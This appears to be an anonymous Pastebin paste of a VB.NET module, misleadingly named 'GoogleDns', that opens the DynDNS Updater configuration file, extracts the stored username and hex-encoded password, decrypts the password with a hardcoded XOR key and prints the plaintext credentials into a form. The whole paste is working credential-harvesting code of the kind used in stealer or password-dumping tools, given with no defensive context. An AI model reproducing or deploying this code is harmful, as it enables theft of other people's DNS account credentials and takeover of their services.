Advertisement
Guest User

Untitled

a guest
Sep 14th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.40 KB | None | 0 0
  1. Module Dyndns
  2. Public Function GoogleDns() As String
  3. On Error Resume Next
  4. GoogleDns = Nothing
  5.  
  6. Dim sAppData As String
  7. Dim sPath As String
  8. Dim sLine As String
  9. Dim sUser As String = Nothing
  10. Dim sPassword As String = Nothing
  11. Dim i As Integer
  12. Dim sChars As String = Nothing
  13. Dim lPtr As Integer
  14.  
  15. sAppData = Environ("ALLUSERSPROFILE")
  16.  
  17. If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"
  18.  
  19. sPath = sAppData & "DynDNS\Updater\config.dyndns"
  20.  
  21. If Dir(sPath) <> "" Then
  22. FileOpen(1, sPath, OpenMode.Binary)
  23. Do While Not EOF(1)
  24. sLine = vbNullString
  25. sLine = LineInput(1)
  26. If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
  27. If Left(sLine, 9) = "Password=" Then
  28. sPassword = Mid(sLine, 10)
  29. 'We have what we want, now exit do
  30. Exit Do
  31. End If
  32. Loop
  33. FileClose(1)
  34.  
  35. For i = 1 To Len(sPassword) Step 2
  36. sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
  37. Next i
  38.  
  39. For i = 1 To Len(sChars)
  40. Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
  41. lPtr = ((lPtr + 1) Mod 8)
  42. Next i
  43. Dim nl As String = vbNewLine
  44. Form1.ztext.AppendText(nl)
  45. Form1.ztext.AppendText("============DYNDNS==============")
  46. Form1.ztext.AppendText(nl)
  47. Form1.ztext.AppendText("Username: " & sUser)
  48. Form1.ztext.AppendText(nl)
  49. Form1.ztext.AppendText("Password: " & sChars)
  50. Form1.ztext.AppendText(nl)
  51. Form1.ztext.AppendText("=============================")
  52. Form1.ztext.AppendText(nl)
  53. If sUser = "" Or sChars = "" Then
  54. Form1.ztext.AppendText(nl)
  55. Form1.ztext.AppendText("============DYNDNS==============")
  56. Form1.ztext.AppendText(nl)
  57. Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!")
  58. Form1.ztext.AppendText(nl)
  59. Form1.ztext.AppendText("=============================")
  60. Form1.ztext.AppendText(nl)
  61. End If
  62. End If
  63. End Function
  64. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement